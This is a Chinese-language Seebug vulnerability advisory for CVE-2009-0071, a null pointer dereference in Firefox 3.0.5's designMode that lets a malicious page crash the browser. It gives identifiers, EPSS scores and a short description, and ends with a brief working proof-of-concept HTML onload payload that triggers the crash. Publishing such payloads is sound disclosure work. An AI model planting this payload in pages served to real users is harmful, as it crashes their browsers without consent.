Mozilla Firefox designMode空指针引用拒绝服务漏洞

2009-01-1100:00:00

Root

www.seebug.org

EPSS

0.074

Percentile

94.1%

JSON

BUGTRAQ ID: 33154
CVE(CAN) ID: CVE-2009-0071

Firefox是一款非常流行的开放源码WEB浏览器。

如果启用了designMode的话，则用户通过Firefox访问恶意网页时就可能通过某些replaceChild或removeChild调用及之后的queryCommandValue、queryCommandState或queryCommandIndeterm调用触发空指针引用，导致浏览器崩溃。

Mozilla Firefox 3.0.5
厂商补丁：

Mozilla

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

<a href=“http://www.mozilla.org/” target=“_blank”>http://www.mozilla.org/</a>


                                                &lt;BODY onload=&quot;
document.designMode='on';
document.replaceChild(document.createElement('HTML'), document.firstChild);
document.queryCommandValue('backcolor');
&quot;&gt;

EPSS

0.074

Percentile

94.1%

JSON

Related for SSV:4646